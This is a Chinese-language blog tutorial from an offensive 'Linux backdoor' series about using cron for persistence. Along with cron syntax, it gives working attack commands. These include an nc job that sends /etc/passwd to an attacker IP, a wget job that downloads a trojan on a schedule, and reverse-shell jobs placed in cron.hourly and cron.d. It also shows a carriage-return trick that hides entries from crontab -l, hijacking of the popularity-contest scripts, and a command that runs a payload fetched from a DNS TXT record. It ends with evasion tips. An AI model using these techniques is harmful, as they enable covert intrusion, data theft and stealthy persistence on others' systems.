查看原文
其他

计划任务后门 | Linux 后门系列

意大利的猫 漫流砂 2021-04-26

Linux 计划任务是一项服务,由 cron 工具来完成,主要目的就是在无需人工干预的情况下运行作业

PS: 功能较为简单的at命令在Ubuntu 16.04中已经不自带了

0x01 cron服务简介

我们来寻找一下这个工具的地址吧!

既然是一项服务,那么启动、停止、查询状态等操作相信大家都会了

默认情况下Ubuntu 16.04 中 cron 服务是默认开机自启的

这个服务的使用也是比较简单,cron服务都是使用crontab 命令来进行设定计划任务的

关于这个命令的一些参数如下:

  • crontab -u user 设定某个user的计划任务(或许可以用高权限设置低权限用户计划任务以躲避检查)

  • crontab -l 列出用户的cron服务的详细内容 

    看起来像是一个文件,因为有注释有空格,那么究竟是不是一个文件呢?一会儿再说吧(Linux上万物皆文件,肯定是文件啦!)

  • crontab -r 删除用户所有的计划任务

  • crontab -i 在删除用户的crontab文件时给确认提示

  • crontab -e 编辑用户的计划任务

别的不说,先创建一个计划任务为快

Ubuntu 16.04 默认使用的是nano编辑器来进行编辑计划任务,对于习惯了vim的我还是需要时间去适应

这条计划任务的意思是每1分钟,执行一次 nc 192.168.1.38 5555 < /etc/passwd

攻击机这边监听5555端口

成功获取到目标主机传输过来的文件,再次监听5555端口

过了一会儿就又收到了目标主机传递过来的字符

到了这里大家对于计划任务应该是有了一个基本的认识,下面咱们就讲一点细致的东西(感谢鸟哥,写了一本好书,让我从中学习不少东西)


0x02 配置文件

经过这么一顿查找,我发现Ubuntu 上少了几个鸟哥介绍的配置文件,那我们就先来说说少了什么?

  • /etc/cron.deny

  • /etc/cron.allow

这两个文件在Ubuntu 16.04 中默认并没有,如下:

这两个文件到底是什么作用呢?是不是在Ubuntu 16.04上不需要这两个文件呢?

  • /etc/cron.deny 这个配置文件是用来禁止一些用户使用cron服务的

我们创建这个文件,并尝试一下将当前用户 helper 加入到禁止列表中 

我们尝试使用一下 crontab -l

可以看到,这个文件生效了,我们当前的用户被禁止使用 cron 服务了。

  • /etc/cron.allow 这个配置文件正好相反,是允许一些用户来使用cron服务,那么在 cron.deny 将helper禁用的情况下,我们同时配置 /etc/cron.allow 来允许 helper 来进行使用 cron服务,结果会怎么样呢? 

可以看到,同时配置 cron.deny 和 cron.allow 的时候, helper用户是可以使用cron服务的

所以原本系统没有的配置文件,我们额外添加上以后会达到一些限制或者放行用户的效果。生活也是一样,总有一些人,一些事,一不留神就闯了进来,一切也随之改变...


"访问控制"的配置项说完,我们来介绍一下这个服务工作过程中的配置项,这里将配置项分为两类:系统本身,用户个人配置

系统本身配置项

  • /etc/crontab 

  • /etc/cron.d/

计划任务这么好用的东西肯定不止我们用户喜欢用,系统自身也有一些依赖性操作

/etc/crontab

这个文件看着眼熟呀,跟 crontab -e 很像呀,仔细看,其实还是有很多差异的,比如语法上就有不同,这个文件比 crontab -e 多了一个user字段,所以可以确定 crontab -e 修改的不是 /etc/crontab 文件

  • SHELL=/bin/sh 

    设置SHELL使用哪一种,看过之前文章的对这个肯定不陌生

  • PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

    这个更熟悉了,设置环境变量 PATH 的值

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

上面这一部分就是系统要执行的计划任务,cron服务会间隔一段时间来对/etc/cron.daily/etc/cron.weekly/etc/cron.monthly 进行扫描,执行其中的全部可执行文件

可以看到,其中的可执行文件其实就是一些shell脚本,说到这我估计你在心里肯定是有了一些想法,不着急哦,先揣着。

/etc/cron.d/

我们看一看这两个文件是什么

/etc/cron.d/popularity-contest 

这个文件也是用来执行一项计划任务,计划任务的主要效果是统计出那些是最流行的安装包

参考文章

https://manpages.debian.org/testing/popularity-contest/popularity-contest.8.en.html

用户设置项

/var/spool/cron/crontabs/helper

到目前我们都没有找到 crontab -e 编辑的文件在哪里,其实这个文件在 /var/spool/cron/crontabs/ 下

这个文件权限还是蛮高的,默认都不允许进行查看,可以看到,这个就是我们 crontab -e 编辑的文件,这也证实了我们之前的猜想

我们看一下这个文件是什么权限

这个文件比较特殊,没有属组和属主

文件第一行写着,不要编辑这个文件 ,所以我要尝试编辑一下,看看是不是可以直接修改计划任务

我把 /etc/passwd 修改为 /etc/issue 

我们去监听吧

可以看到成功获取到 /etc/issue 的内容,记住一点,一定别写错了,整不好cron服务就崩了

0x03 cron 语法

crontab -e 的文件中,可以看到其实人家里面已经给我们说明了,

m h dom mon dow command 分别代表

分 时 日期 月份 周 命令

代表意义分钟小时日期月份命令
数字范围0~590~231~311~120~7执行啥写啥

这里的分钟,小时xxx都是单位,在这一位上写上对应的值就是按照对应的位作为单位

我当时看到这个表第一反应是好清晰,定义起来很方便;两分钟之后开始觉得不对劲,不知道大家现在什么样。

这里要说一下的0和7都是表示周日,也就是星期天。同时周是不能与日月同时并存

特殊字符

关于特殊字符这里得说明一下,主要就是 * , - /n

特殊字符代表意义
*表示在这个单位上任何时刻都可以
多个时间用逗号进行分割,比如一天中早晨7点和早晨8点都要执行,可以 7,8
-代表一段时间内,跟Nmap的端口范围很像,比如早晨7点到8点之间,可以 7-8
/n这里的n是数字的意思,是每隔n隔单位的意思,比如每隔5分钟,可以 */5 * * * * cmd

/etc/crontab 这个文件毕竟是用来设置系统日常要用的计划任务,所以呢,会多一个user字段,以满足多用户权限管控的要求

0x04 简单练习

每天凌晨3点半清理一下/home/xxxx/test文件夹 

30 3 * * * rm -r /home/xxxx/test/*

每隔10分钟下载一下我们的木马

*/10 * * * * wget http://www.test.com/muma.exe

0x05 后门利用

首先介绍一下日志的问题,Ubuntu 16.04 默认情况下是不会将日志记录到 /var/log/cron 这个文件的,也没有这个文件,可以通过配置来设置成这个文件。

Ubuntu 16.04 默认会将日志记录到 /var/log/syslog 中,可以使用 tail -f /var/log/syslog来进行查看 

利用计划任务持续一句话反弹shell

mac上监听

victim 主机上设置计划任务

mac上成功获取到shell

PS: 很多兄弟肯定看一眼就过去了,哦,反弹个shell而已,但是在这个地方我卡了一周左右,还是跟以前一样,我会把这一周内的经历以吐槽的方式写在文章最后,只想学习技术的可以直接抱走,不用划到最后

利用计划任务持续执行一个文件反弹shell

mac 上监听

victim 主机创建可执行文件,并且设置计划任务

mac 上成功获取shell

ps:这里权限是root是因为我用root权限设置的计划任务,没用普通权限主要是因为懒,直接按上来查找历史命令了

将文件存储在cron默认扫描的文件夹下,以 /etc/cron.hourly/ 为例

在 /etc/cron.hourly/ 中放置我们的可执行反弹shell文件

mac 上监听 

等待一段时间(一个小时执行一次)

可以看到成功反弹shell 

这种反弹方式不会再 crontab -l 中显现

**【notice】 ** 

其实我并没有等一个小时,我直接执行了 

sudo run-parts -v --report /etc/cron.hourly

为什么要执行这个命令呢? 

我们看一下 /etc/crontab 

可以看到系统默认的计划任务中就有 cd / && run-parts --report /etc/cron.hourly ,这条命令的含义就是执行/etc/cron.hourly/ 下的所有的可执行文件

我在执行的时候加上了 -v 参数,这个参数就是显示一些详细信息,主要是错误信息,这个具体事件再吐槽部分再说吧

将计划任务文件存储在 /etc/cron.d/ 下

victim 主机 

mac上监听

成功获取shell 

0x06 巧用计划任务留后门

(crontab -l;printf "*/1 * * * * /home/helper/1.sh;\rno crontab for `whoami`%100c\n")|crontab -

物理机等待1分钟左右成功接收到shell 

这种利用方法巧妙在使用了windows中的 \r( Linux 中显示为M),导致显示截断,从而隐藏我们真实的计划任务,我们使用crontab -e 可以看到真实的计划任务如下:

这个技巧大家文章里都说烂了,但是我看到后有一个深深的疑问,这个 %100c 是什么??? 

翻遍百度谷歌没人结合计划任务说过,结合c代码说的我也没太看懂,但是呢,经过尝试,加与不加都不耽误执行前面的计划任务,所以我就没太管...怎么可能不管,每一个未知命令都有可能造成亿万资金的损失,不知道这帮爹都咋寻思的,写文章转载文章就好像不过脑子似的,好歹说一说咋回事嘛,哎,在这里不吐槽!!!!

探究一下吧,我们将计划任务指令不写入计划任务,直接输出其中差异部分

  • printf "*/1 * * * * /home/helper/1.sh;\rno crontab for `whoami`%100c\n"

  • printf "*/1 * * * * /home/helper/1.sh;\rno crontab for `whoami`\n"

分别执行一下吧:

可以看到,输出结果是不一样的,不加 %100c 时候,在 no crontab for helper 后面多了几个字符 per/1.sh;

看到这里我是懵的,什么情况,怎么还显示了一半???我记得在计划任务里不是这样的呀?

尝试一下分别写入计划任务吧:

  • 加 %100c 的

  • 不加 %100c 的

可以看到,果然是有差异的,使用 crontab -e 来进行查看一下

可以看到,这里比加上 %100c 少了 @

@ 这个字符含义可以参考下面的链接,大概意思就是占位符

https://blog.csdn.net/huiwuhuiwu/article/details/72850821

两个计划任务的执行效果是一样的,但是我们的目的是为了隐藏,所以呢,crontab -l 一查我们就露馅了,所以 %100c 还是有意义的,后来问了一下学C的朋友,他说是 “格式化输出一个字符,前面99个空格补齐” ,所以 @符号前面有很多的空格,那就是说空格帮助我们把 per/1.sh; 这部分字符给覆盖掉了? 

尝试一下不使用 %100c 而是直接使用一个空格,看看什么效果 

可以看到,我加的空格将 per/1.sh; 中的p给覆盖掉了,那么我加上9个空格,看看是不是能够完全覆盖掉 

没错,现在我知道 %100c 是用来干啥的了,那么我现在这种情况, %9c 完全够用了吧,试一下 

可以看到,需要%10c ,具体这个内部实现是怎么回事咱也不知道,不过没关系,等我开始Unix C 就会知道了 

那么问题来了,为什么会出现一半字符的情况?

我之前使用的是 * * * * * ls 这样的计划任务进行测试的,所以压根儿就没有发生这样的情况 

如上图,使用 ls 根本就不会发现这个事,所以幸亏要写文章,不写还真发现不了 

果然,这种方法并不是完全都能将前面的内容在 crontab 中遮盖掉,只是能遮盖 \r 后面长度的字符,所以加上 %100c 基本上就可以将所有的计划任务都遮盖掉了

所以之前说 cat 的缺陷的文章就不完全准确了,比如下面这个 

https://github.com/d3npa/writeups/blob/master/unix/hiding-from-cats.md

从上面截图可以看出来,这个结论并不是完全正确的,在我的例子中就要考虑 \r 前后长度关系。

劫持系统默认的计划任务文件

比如:/etc/cron.d/popularity-contest

物理机成功接收到shell 

当然了,这个有点太明显了,我们伪装一下

  • 首先是脚本命名,1.sh 也太草率了,就改名叫 .disfavor-contest

  • 脚本位置,放在和修改的脚本一样的位置

  • 不要新建计划任务,直接在原本的计划任务后面修改(这条要谨慎呀,要看具体情况)

这里为了方便,把频率改为了一分钟一次

物理机这边接收到shell

劫持系统默认的计划任务调用的可执行脚本 

以 /etc/cron.daily/ 下的文件为例

找一个代码数最多的进行篡改

可以看到还是这个 popularity-contest 的代码是最多的,总拿它下手我都不好意思了 

随便截取一行

这里看着很适合做一些手脚,要么在这加一行恶意代码,当然了,通过变量的形式,将ip地址打碎,转换ascii进行转换,做全局变量

或者我们进行下行劫持,劫持 /usr/sbin/popularity-contest ,我们可以随便修改

这个文件有 178 行,应该更容易去做恶意代码隐藏,当然了,这里面如果有执行某些文件,可以继续下行劫持

能不用IP就不用IP,使用域名解析记录

使用DNS的TXT记录(当然也可以是其他的),通过解析这个记录来进行执行 

0 1 * * * /bin/sh -c "sh -c $(dig logging.chat TXT +short @pola.ns.cloudflare.com)"

在 TXT 记录中设置我们要执行的payload 

参考文章:

https://blog.sucuri.net/2019/05/cronjob-backdoors.html

能用公共域名就使用公共域名

如果一台服务器主动访问一个没有任何规律的域名可能会很奇怪,但是如果访问一个linux.org的域名,ubuntu.com.cn的域名,那么就没有那么奇怪了

微博这种我们可能还能插一插手,发一发微博,之后让服务器来读取,执行,但是像ubuntu这样的域名我们很难插上一脚,我们可以在他的评论区,反馈区等等进行写入,或者说如果存在任意链接跳转漏洞就更加完美了


文章到这里就结束了,剩下就是吐槽了,大家可以散了


0x07 吐槽

这篇文章写的太久了,我连最初的吐槽都有点释怀了,就简单吐槽吐槽吧 

在 ubuntu 中直接在计划任务中默认使用的是sh,指向的是 dash 而不是 bash ,所以执行反弹任务会失败

于是我搜索了一下,怎么解决,得到的方案让我大吃一惊,一哥们儿博客上写他也是发现ubuntu计划任务不能反弹shell,所以他把系统默认的sh改成了bash,之后能执行了,关键是还挺骄傲 ????

????

????
我TM!!!!

这是人干出来的事?这种等级的修改不知道会对系统对于服务造成多大影响,哎,理解不了

当然了,我想到解决方案了嘛,所以直接写在了正文里

我看着电影突然不想吐槽了,等你们在Ubuntu计划任务踩坑的时候再找我来问吧。

下面是一些注意事项,我怕自己忘了,写在下面:

  • 脚本文件的名称不能包含“.”符号。你可以写成“im-alarm”,但不要写成“im-alarm.sh”。(因为命名问题,遇到过不执行的情况)

  • 脚本开头必须加上“#!/bin/bash”,否则run-parts调用不成功。




往期文章

SSH 后门 | Linux 后门系列

python pty & magic | 加固shell

meterpreter shell | 加固shell

tmux | 加固shell




有态度,不苟同



    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存